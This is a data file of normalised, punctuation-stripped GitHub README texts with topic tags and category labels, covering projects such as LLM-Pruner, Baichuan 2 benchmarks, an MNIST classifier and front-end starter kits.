the lessons learned on feature engineering and provides additional information on this vital topic to this end we focus on the broad range of indicators implemented by ta lib see chapter 4 04 alpha factor research and worldquant s 101 formulaic alphas https arxiv org pdf 1601 00991 pdf paper kakushadze 2016 which presents real life quantitative trading factors used in production with an average holding period of 0 6 6 4 days this chapter covers how to compute several dozen technical indicators using ta lib and numpy pandas creating the formulaic alphas describe in the above paper and evaluating the predictive quality of the results using various metrics from rank correlation and mutual information to feature importance shap values and alphalens | machine-learning trading investment finance data-science investment-strategies artificial-intelligence trading-strategies deep-learning synthetic-data ml4t-workflow trading-agent | ai |
LLM-Pruner | p align center img src figures logo png width 20 br p div align center h1 llm pruner h1 div align center a href https opensource org licenses apache 2 0 img alt license apache 2 0 src https img shields io badge license apache 202 0 4e94ce svg a a href https pytorch org img src https img shields io badge pytorch 3e v1 7 1 ee4c2c svg style flat square alt pytorch v1 7 1 a a href https github com facebookresearch llama img src https img shields io badge llms llama ffb000 svg style flat square alt llama a a href https github com facebookresearch llama img src https img shields io badge llms llama2 fab093 svg style flat square alt llama 2 a a href https github com lm sys fastchat img src https img shields io badge llms vicuna 924e7d svg style flat square alt vicuna a a href https huggingface co docs transformers model doc bloom img src https img shields io badge llms bloom 1a63bd svg style flat square alt bloom a a href https github com thudm chatglm 6b img src https img shields io badge llms chatglm 6082b6 svg style flat square alt chatglm a a href https github com baichuan inc baichuan 7b img src https img shields io badge llms baichuan 78ac62 svg style flat square alt baichuan a div h3 on the structural pruning of large language models h3 llama llama llama llama llama compress your llms to any size llama llama llama llama llama div p align center img width 100 alt image src figures intro png img src figures llama example png width 100 br p introduction llm pruner on the structural pruning of large language models https arxiv org abs 2305 11627 arxiv https arxiv org abs 2305 11627 xinyin ma gongfan fang xinchao wang national university of singapore why llm pruner x task agnostic compression the compressed llm should retain its original ability as a multi task solver x less training corpus in this work we use only 50k publicly available samples alpaca to post train the llm x efficient compression 3 minutes for pruning and 3 hours for post training you can make it longer x automatic structural pruning pruning new llms with minimal human effort in progress supported llms x llama 2 hugging face https github com horseee llm pruner 1 pruning discovery stage estimation stage x llama hugging face https github com horseee llm pruner 1 pruning discovery stage estimation stage x bloom https github com horseee llm pruner tree main examples cherry blossom bloom x vicuna https github com horseee llm pruner llama vicuna pruning x baichuan https github com horseee llm pruner tree main examples llama baichuan pruning updates august 30 2023 llm pruner now supports bloom https huggingface co docs transformers model doc bloom cherry blossom august 14 2023 code https github com horseee llm pruner 2 post training recover stage and results https github com horseee llm pruner 2 post training recover stage for finetuning with a large scale corpus are now available the fine tuned llama 5 4b model achieves an average accuracy of 62 36 closely approaching the original llama 7b 63 25 july 19 2023 fire llm pruner now supports llama 2 7b and llama 2 13b the huggingface version july 18 2023 rocket support baichuan https github com baichuan inc baichuan 7b a bilingual llm may 20 2023 tada code and preprint paper released todo list code for chatglm https github com thudm chatglm 6b a tutorial for pruning new llms support from pretrained for loading the model contact us join our discord or wechat group for a chat discord link https discord gg hjx24xa9 wechat group size exceeded 200 qr code https github com vainf torch pruning assets 18592211 6c80e758 7692 4dad b6aa 1e1877e72bf7 quick start installation pip install r requirement txt minimal example bash script llama prune sh this script would compress the llama 7b model with 20 parameters pruned all the pre trained models and the dataset would be automatically downloaded so you do not need to manually download the resource when running this script for the first time it will require some time to download the model and the dataset step by step instructions it takes three steps to prune an llm u discovery stage u discover the complicated inter dependency in llms and find the minimally removable unit group u estimation stage u estimate the contribution of each group to the overall performance of the model and decide which group to prune u recover stage u fast post training to recover model performance after pruning and post training we follow a href https github com eleutherai lm evaluation harness lm evaluation harness a for evaluation 1 pruning discovery stage estimation stage llama llama llama 2 pruning with 20 parameters pruned python hf prune py pruning ratio 0 25 block wise block mlp layer start 4 block mlp layer end 30 block attention layer start 4 block attention layer end 30 pruner type taylor test after train device cpu eval device cuda save ckpt log name llama prune arguments base model choose the base model from llama or llama 2 and pass the pretrained model name or path to base model the model name is used for automodel from pretrained to load the pre trained llm for example if you want to use the llama 2 with 13 billion parameters than pass meta llama llama 2 13b hf to base model pruning strategy choose between block wise channel wise or layer wise pruning using the respective command options block wise channel wise layer wise layer number of layers for block wise pruning specify the start and end layers to be pruned channel wise pruning does not require extra arguments for layer pruning use layer number of layers to specify the desired number of layers to be kept after pruning importance criterion select from l1 l2 random or taylor using the pruner type argument for the taylor pruner choose one of the following options vectorize param second param first param mix by default param mix is used which combines approximated second order hessian and first order gradient if using l1 l2 or random no extra arguments are required pruning ratio specifies the pruning ratio of groups it differs from the pruning rate of parameters as groups are removed as the minimal units device and eval device pruning and evaluation can be performed on different devices taylor based methods require backward computation during pruning which may require significant gpu ram our implementation uses the cpu for importance estimation also support gpu simply use device cuda eval device is used to test the pruned model llama vicuna pruning if you want to try vicuna please specify the argument base model to the path to vicuna weight please follow a href https github com lm sys fastchat https github com lm sys fastchat a to get vicuna weights python hf prune py pruning ratio 0 25 block wise block mlp layer start 4 block mlp layer end 30 block attention layer start 4 block attention layer end 30 pruner type taylor test after train device cpu eval device cuda save ckpt log name llama prune base model path to vicuna weights llama baichuan pruning please refer to the example baichuan https github com horseee llm pruner tree main examples llama baichuan pruning for more details llama chatglm pruning comming soon 2 post training recover stage train using alpaca with 50 000 samples here s an example of training on a single gpu cuda visible devices x python post training py prune model prune log path to prune model pytorch model bin data path yahma alpaca cleaned lora r 8 num epochs 2 learning rate 1e 4 batch size 64 output dir tune log path to save tune model wandb project llama tune make sure to replace path to prune model with the path to the pruned model in step 1 and replace path to save tune model with the desired location where you want to save the tuned model train using mbzuai lamini instruction https huggingface co datasets mbzuai lamini instruction with 2 59m samples here is an example using multiple gpus for training deepspeed include localhost 1 2 3 4 post training py prune model prune log path to prune model pytorch model bin data path mbzuai lamini instruction lora r 8 num epochs 3 output dir tune log path to save tune model extra val dataset wikitext2 ptb wandb project llmpruner lamini tune learning rate 5e 5 cache dataset 3 generation how to load pruned pre trained models for the pruned model simply use the following command to load your model pruned dict torch load your checkpoint path map location cpu tokenizer model pruned dict tokenizer pruned dict model due to the different configurations between modules in the pruned model where certain layers may have larger width while others have undergone more pruning it becomes impractical to load the model using the from pretrained as provided by hugging face currently we employ the torch save to store the pruned model since the pruned model has different configuration in each layer like some layers might be wider but some layers have been pruned more the model cannot be loaded with the from pretrained in hugging face currently we simply use the torch save to save the pruned model and torch load to load the pruned model generation with gradio interface we provide a simple script to geneate texts using pre trained pruned models pruned models with post training llama 7b pre trained python generate py model type pretrain pruned model without post training python generate py model type prunellm ckpt your model path for prune model pruned model with post training python generate py model type tune prune llm ckpt your ckpt path for prune model lora ckpt your ckpt path for lora weight the above instructions will deploy your llms locally div align center img src figures deploy png width 100 img div 4 evaluation for evaluating the performance of the pruned model we follow lm evaluation harness https github com eleutherai lm evaluation harness to evaluate the model step 1 if you only need to evaluate the pruned model then skip this step and jump to step 2 this step is to arrange the files to satisfy the input requirement for lm evaluation harness the tuned checkpoint from the post training step https github com horseee llm pruner 2 post training recover stage would be save in the following format path to save tune model checkpoint 200 pytorch model bin optimizer pt checkpoint 400 checkpoint 600 adapter config bin adapter config json arrange the files by the following commands cd path to save tune model export epoch your evaluate epoch cp adapter config json checkpoint epoch mv checkpoint epoch pytorch model bin checkpoint epoch adapter model bin if you want to evaluate the checkpoint 200 then set the epoch equalts to 200 by export epoch 200 step 2 export pythonpath python lm evaluation harness main py model hf causal experimental model args checkpoint path to prune model peft path to save tune model config pretrained path or name to base model tasks openbookqa arc easy winogrande hellaswag arc challenge piqa boolq device cuda 0 no cache output path path to save evaluation log here replace path to prune model and path to save tune model with the path you save the pruned model and the tuned model and path or name to base model is for loading the configuration file of the base model update we upload a script to simply the evaluation process if you want to evaluate the pruned model with the tuned checkpoint simply use the following command cuda visible devices x bash scripts evaluate sh path or name to base model path to save tune model path to prune model epochs you want to evaluate replace the necessary information of your model in the command the final one is used to iterate over different epochs if you want to evaluate several checkpoints in one command for example cuda visible devices 1 bash scripts evaluate sh decapoda research llama 7b hf tune log llama 7b hessian prune log llama prune 7b 200 1000 2000 5 testing macs params and memory pre trained python test speedup py model type pretrain pruned model python test speedup py model type prunellm ckpt your model path for prune model zero shot evaluation a brief quantitative results for llama 7b p align center img src figures llamaresults png width 100 br p the results for vicuna 7b p align center img src figures vicunaresults png width 100 br p the results for chatglm 6b p align center img src figures chatglmresults png width 80 br p statistics for pruned models p align center img src figures statistic png width 50 br p results of llm pruner with 2 59m samples pruning ratio param memory latency speedup boolq piqa hellaswag winogrande arc e arc c obqa average llama 7b 6 74b 12884 5mib 69 32s 1x 73 18 78 35 72 99 67 01 67 45 41 38 42 40 63 25 llama 5 4b with alpaca 50k 5 47b 10488 4mib 58 55s 1 18x 64 62 77 20 68 80 63 14 64 31 36 77 39 80 59 23 llama 5 4b with lamini 2 59m 5 47b 10488 4mib 58 55s 1 18x 76 57 77 37 66 60 65 82 70 62 40 70 38 80 62 36 more results can be found in the paper more examples original model output pruned model output llama 7b u the universe is the entirety of space time matter and energy that exists u it includes all matter and energy whether visible or not and in fact the whole universe is invisible there are many theories regarding its origin and ultimate fate llama 5 4b u the universe is the entirety of space time matter and energy that exists u the laws that make up physics electrons orbiting atoms magnets attracting other objects planets orbiting the sun have been consistent over vicuna 7b u 10 steps to build an ios app u 1 research and develop the idea 2 decide on the platform you want to use ios android or both 3 create a plan and budget 4 hire a team of developers 5 design the user interface ui 6 develop the user interface ui 7 test and iterate on the app 8 submit the app to the app store 9 optimize the app for performance and user experience ux 10 market and promote the app vicuna 5 4b u 10 steps to build an ios app u 1 plan your app decide what it should do what it will look like and what it will cost to build it 2 hire a developer a good ios developer will help you design the user interface create the app and make sure it s bug free 3 create a user interface this is where the magic happens your app s user interface will be designed and mocked up at this point chatglm 6b u write a poetry about love and peace u in the midst of life s hustle and bustle i find your love a soothing peace it is a feeling that cannot be conveyed a connection that cannot be distanced with your smile your eyes your embrace i feel a sense of belonging that only you can give it is a love that lasts forever a love that cannot be defeat chatglm 5 6b u write a poetry about love and peace u love and peace two such wonderful things a pure and endless desire in my heart and both of them i must seek for a long long time i know love i know is a feeling of being a perfect partner in every sense and peace i need it so much one day a long long way my heart will go limitations although we only used 50k data and trained for three hours more data would definitely be better we are testing on this the current compressed model still has several issues such as generating repetitive tokens or producing nonsensical sentences we believe there is significant room for improvement in the quality of the compressed model there are still some models for which we cannot automatically identify the mapping of indexes after concatenation and view operations therefore we need to perform additional manual operations acknowledgement logo is generated by a href https dreamstudio ai generate stable diffusion a the evaluation of the llm a href https github com eleutherai lm evaluation harness lm evaluation harness a llama a href https github com facebookresearch llama https github com facebookresearch llama a vicuna a href https github com lm sys fastchat https github com lm sys fastchat a peft a href https github com huggingface peft https github com huggingface peft a alpaca lora a href https github com tloen alpaca lora https github com tloen alpaca lora a citation if you find this project useful please cite inproceedings ma2023llmpruner title llm pruner on the structural pruning of large language models author xinyin ma and gongfan fang and xinchao wang booktitle advances in neural information processing systems year 2023 article fang2023depgraph title depgraph towards any structural pruning author fang gongfan and ma xinyin and song mingli and mi michael bi and wang xinchao journal the ieee cvf conference on computer vision and pattern recognition year 2023 | compression language-model llm pruning pruning-algorithms baichuan chatglm llama vicuna llama-2 bloom neurips-2023 | ai |
JNJ-Capstone-Project | jnj capstone project p float left img src notebooks images jnj logo png width 300 img src notebooks images columbia dsi logo png width 300 p problem statement business need the gxp regulatory environment is very complex as different countries have their own regulations and standardization is very limited gxp regulations and guidance documents are thousands of pages of text files pdf or html posted in several internet locations these regulatory requirements have to be manually parsed analyzed and classified to develop the j j quality requirements this is a time consuming process project outcome solution with fine tuned gpt 3 model classify requirements by quality topics and classify quality topics requirements into themes summarize theme requirements into a j j quality requirement that meets all the regulations and guidance documents build metrics to evaluate the model and benchmark using other available large language models as well as traditional machine learning models authors vishweshwar tyagi captain daoxing zhang siqi he siwen xie yihao gao sponsor mentor frank janssens majd mustapha instructor adam kelleher ca xuanyu li setup instructions move into top level directory cd jnj capstone project install environment conda env create f environment yml activate environment conda activate capstone install package pip install e src capstone including the optional e flag will install the package in editable mode meaning that instead of copying the files into your virtual environment a symlink will be created to the files where they are fetch data python m capstone fetch download nltk data python m nltk downloader all run jupyter server jupyter notebook notebooks you can now use the jupyter kernel to run notebooks notebooks the notebooks may be viewed in the following order 1 eda ipynb notebooks eda ipynb exploratory data analysis 2 naive model evaluation ipynb notebooks naive model evaluation ipynb results from naive model which predicts the most common target multi label binarized vector in the development set 3 baseline evaluation ipynb notebooks baseline evaluation ipynb results from baseline random forest trained on tf idf features 4 bert evaluation ipynb notebooks bert evaluation ipynb results from fine tuned bert 5 ada evaluation ipynb notebooks ada evaluation ipynb results from fine tuned ada 6 curie evaluation ipynb notebooks curie evaluation ipynb results from fine tuned curie 7 davinci evaluation ipynb notebooks davinci evaluation ipynb results from fine tuned davinci 8 ensemble evaluation ipynb notebooks ensemble evaluation ipynb results from ensemble of bert ada and curie based on majority vote 9 bert embeddings ipynb notebooks bert embeddings ipynb evaluate embeddings of fine tuned bert against vanilla bert on unsupervised clustering task test dataset 10 gpt3 embeddings test set ipynb notebooks gpt3 embeddings test set ipynb evaluate embeddings of vanilla gpt 3 models ada curie and davinci on unsupervised clustering task test dataset 11 gpt3 embeddings whole set ipynb notebooks gpt3 embeddings whole set ipynb evaluate embeddings of vanilla gpt 3 models ada curie and davinci on unsupervised clustering task whole dataset reports 1 jnj janssens jnj 3 final report pdf reports jnj janssens jnj 3 final report pdf final report 2 jnj janssens jnj 3 poster pdf reports jnj janssens jnj 3 poster pdf poster | bert machine-learning natural-language-processing openai python pytorch ada curie davinci | ai |
simple-web-project-collection | nbsp nbsp nbsp nbsp nbsp nbsp nbsp nbsp nbsp nbsp nbsp nbsp nbsp nbsp nbsp nbsp nbsp talk is cheap show me the code linus torvalds thought balloon br p align center a img src https qph fs quoracdn net main qimg 82b7314fe96c4a2d8f3088207a4afd8d alt image width 500 a br web development project collection the repository contains projects based on web development i e easy to advance level projects so as to get started with web nbsp nbsp nbsp nbsp nbsp nbsp development and make your journey smooth in the field of web development this repository is open to all the members of the github community feel free to contribute to this repository do not forget to the repository to get started 1 first fork the repository 2 clone the forked repository to your local machine markdown git clone https github com your username simple web project collection git 3 add upstream url 4 create a new branch markdown git checkout b branch name 5 make your contribution 6 commit and push the changes markdown git add git commit m relevant message git push origin branch name 7 create a new pull request from your forked repository click the new pull request button located at the top of your repo 8 wait for your pr review and approval from the maintainers br p align center image src https i pinimg com originals 42 36 d0 4236d00b6df31c5c1dab3566fa61ff3c gif width 500 p img src https github com thedudethatcode thedudethatcode blob master assets hi gif width 29 table of contents project 1 progressive steps 1 20steps progressive project 2 feedback system 2 20feedback 20system project 3 game of ascii 3 20game 20of 20ascii project 4 css loader 4 20css 20loader project 5 form animation 5 20form 20animation project 6 drag n drop 6 20drag 20n 20drop project 7 blurry loading 7 20blurry 20loading project 8 auto typist effect 8 20auto 20typist 20effect project 9 ripple buttons 9 20ripple 20buttons project 10 glow board 10 20glow 20board project 13 side drawer 13 20side 20drawer project 14 simongame https github com imbios simple web project collection tree main 14 simongame project 15 simple html boilerplate https github com imbios simple web project collection tree main 15 20simple html boilerplate project 16 magic square calculator https github com imbios simple web project collection tree main 16 20magic 20square 20calculator project 17 datepicker https github com imbios simple web project collection tree main 17 datepicker project 18 animate panda css code https github com imbios simple web project collection tree main animate panda 20css 20code project 19 bootstrap ui https github com pratyaksh1610 simple web project collection tree main 19 bootstrap 20 20ui project 20 countdown timer https github com pratyaksh1610 simple web project collection tree main 20 countdown timer project 21 cupang company https github com pratyaksh1610 simple web project collection tree main 21 cupang 20company project 22 dicee challenge https github com pratyaksh1610 simple web project collection tree main 22 dicee 20challenge project 23 example login https github com pratyaksh1610 simple web project collection tree main 23 example login project 24 example login web https github com pratyaksh1610 simple web project collection tree main 24 example login web project 25 css https github com pratyaksh1610 simple web project collection tree main 25 css project 26 for e commerce web https github com pratyaksh1610 simple web project collection tree main 26 for 20e commerce 20web project 27 hexcolorgenerator https github com pratyaksh1610 simple web project collection tree main 27 hexcolorgenerator project 28 html basic for web https github com pratyaksh1610 simple web project collection tree main 28 html 20basic 20for 20web project 29 light and dark toggle button https github com pratyaksh1610 simple web project collection tree main 29 light 20and 20dark 20toggle 20button project 30 musical band kit https github com pratyaksh1610 simple web project collection tree main 30 musical band kit project 31 mxn advance puzzle https github com pratyaksh1610 simple web project collection tree main 31 mxn 20advance 20puzzle project 32 netflix clone https github com pratyaksh1610 simple web project collection tree main 32 netflix clone project 33 notes app nodejs https github com pratyaksh1610 simple web project collection tree main 33 notes app nodejs project 34 number game js https github com pratyaksh1610 simple web project collection tree main 34 number game js project 35 personal portfolio tailwind https github com pratyaksh1610 simple web project collection tree main 35 personal portfolio tailwind project 36 ping pong https github com pratyaksh1610 simple web project collection tree main 36 ping pong project 37 profile image app https github com pratyaksh1610 simple web project collection tree main 37 profile 20image 20app project 38 gallery https github com pratyaksh1610 simple web project collection tree main 38 gallery project 39 simple html css web https github com pratyaksh1610 simple web project collection tree main 39 simple html css web project 40 spicy heat https github com pratyaksh1610 simple web project collection tree main 40 spicy 20heat project 41 starbucks clone https github com pratyaksh1610 simple web project collection tree main 41 starbucks clone project 42 switch ui https github com pratyaksh1610 simple web project collection tree main 42 switch 20ui project 43 synth https github com pratyaksh1610 simple web project collection tree main 43 synth project 44 weather app https github com pratyaksh1610 simple web project collection tree main 44 weather 20app project 45 website construction https github com pratyaksh1610 simple web project collection tree main 45 website 20construction shoutout to all the contributors a href https github com imbios simple web project collection graphs contributors img src https contrib rocks image repo imbios simple web project collection a br br p align center made with by all contributors p | hacktoberfest website html css css3 javascript | front_end |
Handwritten-Digit-Recognition-using-Deep-Learning | handwritten digit recognition using machine learning and deep learning published paper ijarcet vol 6 issue 7 990 997 http ijarcet org wp content uploads ijarcet vol 6 issue 7 990 997 pdf requirements python 3 5 scikit learn latest version numpy mkl for windows matplotlib usage 1 download the four mnist dataset files from this link curl o http yann lecun com exdb mnist train images idx3 ubyte gz curl o http yann lecun com exdb mnist train labels idx1 ubyte gz curl o http yann lecun com exdb mnist t10k images idx3 ubyte gz curl o http yann lecun com exdb mnist t10k labels idx1 ubyte gz alternatively you can download the dataset from here https github com anujdutt9 handwritten digit recognition using deep learning blob master dataset zip unzip the files and place them in the respected folders 2 unzip and place the files in the dataset folder inside the mnist dataset loader folder under each ml algorithm folder i e knn mnist dataset loader dataset train images idx3 ubyte train labels idx1 ubyte t10k images idx3 ubyte t10k labels idx1 ubyte do this for svm and rfc folders and you should be good to go 3 to run the code navigate to one of the directories for which you want to run the code using command prompt cd 1 k nearest neighbors and then run the file knn py as follows python knn py or python3 knn py this will run the code and all the print statements will be logged into the summary log file note if you want to see the output to print on the command prompt just comment out line 16 17 18 106 and 107 and hence you will get all the prints on the screen alternatively you can also use pycharm to run the code and run the py file in there repeat the steps for svm and rfc code 4 to run the cnn code you don t need to provide in the mnist dataset as it ll be downloaded automatically just run the file as python cnn mnist py or python3 cnn mnist py and it should run fine 5 if you want to save the cnn model weights after training run the code with the following arguments python cnn mnist py save model 1 save weights cnn weights hdf5 or python3 cnn mnist py save model 1 save weights cnn weights hdf5 and it should save the model weights in the same directory 6 to load the saved model weights and avoid the training time again use the following command python cnn mnist py load model 1 save weights cnn weights hdf5 or python3 cnn mnist py load model 1 save weights cnn weights hdf5 and it should load the model and show the outputs accuracy using machine learning algorithms i k nearest neighbors 96 67 ii svm 97 91 iii random forest classifier 96 82 accuracy using deep neural networks i three layer convolutional neural network using tensorflow 99 70 ii three layer convolutional neural network using keras and theano 98 75 all code written in python 3 5 code executed on intel xeon processor aws ec2 server video link https www youtube com watch v 7kpypmw5ffe test images classification output output a1 outputs output png output a1 | mnist-classification convolutional-neural-networks python-3-5 handwritten-digit-recognition machine-learning deep-learning knn random-forest svm-model tensorflow keras theano classification | ai |
chassis | chassis http connors github io chassis a lightweight html css base layer for mobile first web development chassis provides you with base css and html files to jump start your web development if you re looking for a full featured front end framework you re in the wrong place chassis only gives you what you need and nothing else getting started clone the repo git clone git github com connors chassis git or just download http github com connors chassis archive v1 5 0 zip the bundled css read the docs http connors github io chassis to learn how to create simple layouts and use chassis base layer styles documentation chassis documentation is built with jekyll http jekyllrb com and publicly hosted on github pages at https github com connors chassis the docs may also be run locally running documentation locally 1 if necessary install jekyll http jekyllrb com docs installation 2 from the root chassis directory run jekyll serve in the command line 3 open http localhost 4000 http localhost 9001 in your browser and boom learn more about using jekyll by reading its documentation http jekyllrb com docs home reporting bugs contributing please file a github issue to report a bug http github com connors chassis issues when reporting a bug be sure to search for existing issues and read the issue guidelines https github com necolas issue guidelines written by nicolas gallagher https github com necolas author connor sears https twitter com connors https twitter com connors https github com connors https github com connors connorsears com http connorsears com license chassis is licensed under the mit license http opensource org licenses mit | front_end |
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Baichuan2 | markdownlint disable first line h1 markdownlint disable html div align center h1 baichuan 2 h1 div p align center a href https huggingface co baichuan inc target blank hugging face a a href https modelscope cn organization baichuan inc target blank modelscope a a href https github com baichuan inc baichuan 7b blob main media wechat jpeg raw true target blank wechat a p div align center 53b https www baichuan ai com license https img shields io github license modelscope modelscope svg https github com baichuan inc baichuan2 blob main license h4 align center p b b a href https github com baichuan inc baichuan2 blob main readme en md english a p h4 div benchmark benchmark checkpoints checkpoints baichuan 2 2 6 tokens baichuan 2 benchmark 7b 13b base chat chat 4bits baichuan 2 open large scale language models https arxiv org abs 2309 10305 4bits 7b baichuan2 7b base https huggingface co baichuan inc baichuan2 7b base baichuan2 7b chat https huggingface co baichuan inc baichuan2 7b chat baichuan2 7b chat 4bits https huggingface co baichuan inc baichuan2 7b chat 4bits 13b baichuan2 13b base https huggingface co baichuan inc baichuan2 13b base baichuan2 13b chat https huggingface co baichuan inc baichuan2 13b chat baichuan2 13b chat 4bits https huggingface co baichuan inc baichuan2 13b chat 4bits benchmark 5 shot c eval https cevalbenchmark com index html home 52 dev few shot test baichuan 7b https github com baichuan inc baichuan 7b tree main mmlu https arxiv org abs 2009 03300 57 llm https github com hendrycks test cmmlu https github com haonan li cmmlu 67 https github com haonan li cmmlu gaokao https github com openlmlab gaokao bench c eval agieval https github com microsoft agieval c eval bbh https huggingface co datasets lukaemon bbh big bench big bench 204 bbh 204 big bench 7b c eval mmlu cmmlu gaokao agieval bbh 5 shot 5 shot 5 shot 5 shot 5 shot 3 shot gpt 4 68 40 83 93 70 33 66 15 63 27 75 12 gpt 3 5 turbo 51 10 68 54 54 06 47 07 46 13 61 59 llama 7b 27 10 35 10 26 75 27 81 28 17 32 38 llama2 7b 28 90 45 73 31 38 25 97 26 53 39 16 mpt 7b 27 15 27 93 26 00 26 54 24 83 35 20 falcon 7b 24 23 26 03 25 66 24 24 24 10 28 77 chatglm2 6b 50 20 45 90 49 00 49 44 45 28 31 65 baichuan 7b 42 80 42 30 44 02 36 34 34 44 32 48 baichuan2 7b base 54 00 54 16 57 07 47 47 42 73 41 56 13b c eval mmlu cmmlu gaokao agieval bbh 5 shot 5 shot 5 shot 5 shot 5 shot 3 shot gpt 4 68 40 83 93 70 33 66 15 63 27 75 12 gpt 3 5 turbo 51 10 68 54 54 06 47 07 46 13 61 59 llama 13b 28 50 46 30 31 15 28 23 28 22 37 89 llama2 13b 35 80 55 09 37 99 30 83 32 29 46 98 vicuna 13b 32 80 52 00 36 28 30 11 31 55 43 04 chinese alpaca plus 13b 38 80 43 90 33 43 34 78 35 46 28 94 xverse 13b 53 70 55 21 58 44 44 69 42 54 38 06 baichuan 13b base 52 40 51 60 55 30 49 69 43 20 43 01 baichuan2 13b base 58 10 59 17 61 97 54 33 48 17 48 78 jec qa https jecqa thunlp org jec qa c eval c eval mmlu cmmlu medqa https arxiv org abs 2009 13081 medmcqa https medmcqa github io c eval c eval val medqa medqa https huggingface co datasets bigbio med qa usmle mcmle medmcqa test dev c eval clinical medicine basic medicine mmlu clinical knowledge anatomy college medicine college biology nutrition virology medical genetics professional medicine cmmlu anatomy clinical knowledge college medicine genetics nutrition traditional chinese medicine virology 5 shot 7b jec qa ceval mmlu cmmlu medqa usmle medqa mcmle medmcqa 5 shot 5 shot 5 shot 5 shot 5 shot gpt 4 59 32 77 16 80 28 74 58 72 51 gpt 3 5 turbo 42 31 61 17 53 81 52 92 56 25 llama 7b 27 45 33 34 24 12 21 72 27 45 llama2 7b 29 20 36 75 27 49 24 78 37 93 mpt 7b 27 45 26 67 16 97 19 79 31 96 falcon 7b 23 66 25 33 21 29 18 07 33 88 chatglm2 6b 40 76 44 54 26 24 45 53 30 22 baichuan 7b 34 64 42 37 27 42 39 46 31 39 baichuan2 7b base 44 46 56 39 32 68 54 93 41 73 13b jec qa ceval mmlu cmmlu medqa usmle medqa mcmle medmcqa 5 shot 5 shot 5 shot 5 shot 5 shot gpt 4 59 32 77 16 80 28 74 58 72 51 gpt 3 5 turbo 42 31 61 17 53 81 52 92 56 25 llama 13b 27 54 35 14 28 83 23 38 39 52 llama2 13b 34 08 47 42 35 04 29 74 42 12 vicuna 13b 28 38 40 99 34 80 27 67 40 66 chinese alpaca plus 13b 35 32 46 31 27 49 32 66 35 87 xverse 13b 46 42 58 08 32 99 58 76 41 34 baichuan 13b base 41 34 51 77 29 07 43 67 39 60 baichuan2 13b base 47 40 59 33 40 38 61 62 42 86 opencompass https opencompass org cn gsm8k https huggingface co datasets gsm8k math https huggingface co datasets competition math 4 shot gsm8k openai 8 5k math 12 500 7500 5000 amc 10 amc 12 aime humaneval https huggingface co datasets openai humaneval mbpp https huggingface co datasets mbpp opencompass humaneval 0 shot mbpp 3 shot humaneval mbpp 974 python 7b gsm8k math humaneval mbpp 4 shot 4 shot 0 shot 3 shot gpt 4 89 99 40 20 69 51 63 60 gpt 3 5 turbo 57 77 13 96 52 44 61 40 llama 7b 9 78 3 02 11 59 14 00 llama2 7b 16 22 3 24 12 80 14 80 mpt 7b 8 64 2 90 14 02 23 40 falcon 7b 5 46 1 68 10 20 chatglm2 6b 28 89 6 40 9 15 9 00 baichuan 7b 9 17 2 54 9 20 6 60 baichuan2 7b base 24 49 5 58 18 29 24 20 13b gsm8k math humaneval mbpp 4 shot 4 shot 0 shot 3 shot gpt 4 89 99 40 20 69 51 63 60 gpt 3 5 turbo 57 77 13 96 52 44 61 40 llama 13b 20 55 3 68 15 24 21 40 llama2 13b 28 89 4 96 15 24 27 00 vicuna 13b 28 13 4 36 16 46 15 00 chinese alpaca plus 13b 11 98 2 50 16 46 20 00 xverse 13b 18 20 2 18 15 85 16 80 baichuan 13b base 26 76 4 84 11 59 22 80 baichuan2 13b base 52 77 10 08 17 07 30 20 flores 101 https huggingface co datasets facebook flores flores 101 101 opencompass flores 101 8 shot 7b cn en cn fr cn es cn ar cn ru cn jp cn de average gpt 4 29 94 29 56 20 01 10 76 18 62 13 26 20 83 20 43 gpt 3 5 turbo 27 67 26 15 19 58 10 73 17 45 1 82 19 70 17 59 llama 7b 17 27 12 02 9 54 0 00 4 47 1 41 8 73 7 63 llama2 7b 25 76 15 14 11 92 0 79 4 99 2 20 10 15 10 14 mpt 7b 20 77 9 53 8 96 0 10 3 54 2 91 6 54 7 48 falcon 7b 22 13 15 67 9 28 0 11 1 35 0 41 6 41 7 91 chatglm2 6b 22 28 9 42 7 77 0 64 1 78 0 26 4 61 6 68 baichuan 7b 25 07 16 51 12 72 0 41 6 66 2 24 9 86 10 50 baichuan2 7b base 27 27 20 87 16 17 1 39 11 21 3 11 12 76 13 25 13b cn en cn fr cn es cn ar cn ru cn jp cn de average gpt 4 29 94 29 56 20 01 10 76 18 62 13 26 20 83 20 43 gpt 3 5 turbo 27 67 26 15 19 58 10 73 17 45 1 82 19 70 17 59 llama 13b 21 75 16 16 13 29 0 58 7 61 0 41 10 66 10 07 llama2 13b 25 44 19 25 17 49 1 38 10 34 0 13 11 13 12 17 vicuna 13b 22 63 18 04 14 67 0 70 9 27 3 59 10 25 11 31 chinese alpaca plus 13b 22 53 13 82 11 29 0 28 1 52 0 31 8 13 8 27 xverse 13b 29 26 24 03 16 67 2 78 11 61 3 08 14 26 14 53 baichuan 13b base 30 24 20 90 15 92 0 98 9 65 2 64 12 00 13 19 baichuan2 13b base 30 61 22 11 17 27 2 39 14 17 11 58 14 53 16 09 hugging face hugging face shell pip install r requirements txt python chat python import torch from transformers import automodelforcausallm autotokenizer from transformers generation utils import generationconfig tokenizer autotokenizer from pretrained baichuan inc baichuan2 13b chat use fast false trust remote code true model automodelforcausallm from pretrained baichuan inc baichuan2 13b chat device map auto torch dtype torch bfloat16 trust remote code true model generation config generationconfig from pretrained baichuan inc baichuan2 13b chat messages messages append role user content response model chat tokenizer messages print response base python from transformers import automodelforcausallm autotokenizer tokenizer autotokenizer from pretrained baichuan inc baichuan2 13b base trust remote code true model automodelforcausallm from pretrained baichuan inc baichuan2 13b base device map auto trust remote code true inputs tokenizer n return tensors pt inputs inputs to cuda 0 pred model generate inputs max new tokens 64 repetition penalty 1 1 print tokenizer decode pred cpu 0 skip special tokens true device map auto export cuda visible devices 0 1 0 1 shell python cli demo py chat base demo streamlit web demo chat base shell streamlit run web demo py baichuan2 13b chat details summary b b summary 3 1 6 2 1 3 8 4 10 5 11 6 2 1 python baichuan 2 def find median numbers numbers sort length len numbers if length 2 0 return numbers length 2 1 numbers length 2 2 else return numbers length 2 numbers 3 1 6 2 1 3 8 4 10 5 11 6 2 1 print find median numbers details details summary b b summary 26 68 baichuan 2 x y 1 x y 26 2 2x 4y 68 x x 26 y x 2 26 y 4y 68 52 2y 4y 68 2y 16 y y 16 2 y 8 8 y x x 26 8 x 18 18 8 details details summary b b summary baichuan 2 i m ready to translate every word you say next into english baichuan 2 hello baichuan 2 baichuan 2 i am baichuan 2 and i am very happy to meet everyone agi baichuan 2 i hope through the joint efforts of all of us we can welcome the arrival of the agi era as soon as possible details details summary b b summary a b c d 